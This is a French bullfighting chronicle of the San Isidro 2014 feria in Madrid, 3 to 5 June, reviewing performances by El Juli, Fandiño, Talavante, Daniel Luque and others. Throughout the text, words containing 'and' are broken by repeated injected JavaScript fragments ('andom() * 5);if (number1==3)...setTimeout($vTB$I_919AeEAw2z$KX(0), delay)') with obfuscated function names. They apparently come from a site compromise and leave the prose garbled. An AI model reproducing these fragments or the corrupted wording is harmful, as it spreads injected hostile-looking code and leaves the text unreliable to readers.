SAN ISIDRO 2014: DU 3 AU 5 JUIN

San Isidro 2014. 3 juin. Le toréo domina le taureau et les circonstances

C’était la corrida de la Beneficencia qui, commme celle de la Prensa, est incluse dans la Féria. Le Roi y assistait et les arènes étaient pleines de haut en bas. Les taureaux étaient de Alcurrucén et les matadors El Juli, Fandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andiño et Alejandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andro Talavante. Et les circonstances étaient présentes elles aussi. C’est-à-dire , le 7.  Elles étaient adverses, cela va de soi.

Et ils se manifestèrent immédiatement. Parce que le premier taureau était brave, juste de force, et qu’il correspondait à El Juli. S’il eut échu à un autre torero il ne se serait rien passé. Mais, je répète, comme il était brave, le président se fixa plus sur la valeur de la bravoure que sur le défaut d’une supposée fragilité. Intolérable . Et comme El Juli avait été phénoménal et qu’il avait fait une grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ande faena, il lui concéda l’oreille, demandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andée par tous sauf par le 7. Scandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andaleux.

Le cinquième taureau était sauvage. Pas suffisamment pour intimider Fandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andiño. Il lui fit une vaillante faena et le tua d’une seule estocade qui se termina par une déchirure de sa taleguilla, et le public au complet, sauf le 7, réclama l’oreille, que le président concéda. Honteux.

Durant la corrida on vit un bon toréo de cape, un grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and quite avec des chicuelinas liées à des tafalleras, à la charge de Fandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andiño, et un autre avec des véroniques profondes, propres au style de Julián. Talavante se croisa les bras. Les taureaux lui parurent antipathiques. À moi aussi. Ils étaient , sauf le premier, mansos et violents, avisés et ternes. Et il s’en débarrassa. J’étais d’accord avec lui.

Conclusion positive : les observations techniques faites aux toreros par les porte-parole du 7 étaient ridicules et le public ne se laissa pas influencer. Il  n’en tint même pas compte.

San Isidro 2014. 4 juin. Daniel  Luque ouvre la Puerta Grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ande

Distinguons différentes parties. La corrida de San Lorenzo fut, avec celle de Parladé, la meilleure de la Féria. Plus encastée celle de « Domecq » et avec plus de classe celle de « Atanasio ». Ces derniers étaient des taureaux pour Ordoñez, pour le toréo profond. Le commencement fut malchanceux, parce que le premier fut remplacé : une vigoureuse passe de cape de la part de Padilla fit qu’il se brisa une patte de devant. Le taureau laissait prévoir sa  classe. Ensuite ses autres frères furent tous dignes de triomphe. Se détachèrent ceux qui furent le mieux lidiés : aux piques, par la cuadrilla et à la muleta.

Ceux qui correspondirent à Daniel Luque ne furent pas les meilleurs. Son premier, qui se rebellait en donnant des coups de tête à gauche et à droite, il l’apaisa en l’aimantant à sa muleta, et il finit par le faire charger avec constance et profondeur. Son second, plus manso et moins vigoureux, il le toréa avec un temple de cristal qui le changea en brave.

Le toréo de muleta de Luque a été, comme celui de Perera et de Talavante, le meilleur de la Féria. Ses naturelles au troisième taureau furent pures, profondes, lentes, irréelles. S’il avait tué son premier d’un seul coup d’épée il serait sorti par la Puerta Grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ande avec trois oreilles. Peu importe, il le fit avec deux qui en valaient trois.

Ultime et triste partie : Padilla et El Cid laissèrent s’en aller quatre bons taureaux avec leurs oreilles. L’excessive prudence n’est pas faite pour toréer.

San Isidro 2014. 5 juin. Le triomphe de six mansos

La corrida de Victorino Martin fut mansa. Sans palliatifs. Le premier s’écartait du leurre en relevant la tête. Le second passait, avec méfiance , sans constance et sans démonstration de combativité. Le troisième, bondissait  après la seconde passe de cape, et revenait sachant ce qu’il avait laissé derrière, se repentissant d’avoir chargé, et il le répéta devant la muleta. Le quatrième répondait au cite mais sans enthousiasme et ensuite se séparait en relevant la tête. Le cinquième fut un monument de mansedumbre agressive. Et le sixième était un morucho (demi-caste) avisé.

Mais ils triomphèrent. Parce qu’ils se déplaçaient en dehors des suertes, et en dedans ils se défendaient avec agressivité. Ce ne fut pas, comme certains aficionados le dirent à la sortie de la corrida, une corrida à l’ancienne. C’était, simplement, une corrida mansa avec beaucoup de genio, d’âpreté. Et au cas où on l’aurait oublié, le genio est l’agressivité défensive de la mansedumbre et la caste est l’agressivité offensive de la bravoure. Un zéro à l’aficion de Madrid.

Les toreros s’en débarrassèrent comme ils le purent. Et Ferrera le fit avec toreria, oui, cette fois-ci, à l’ancienne. Hallucinant.

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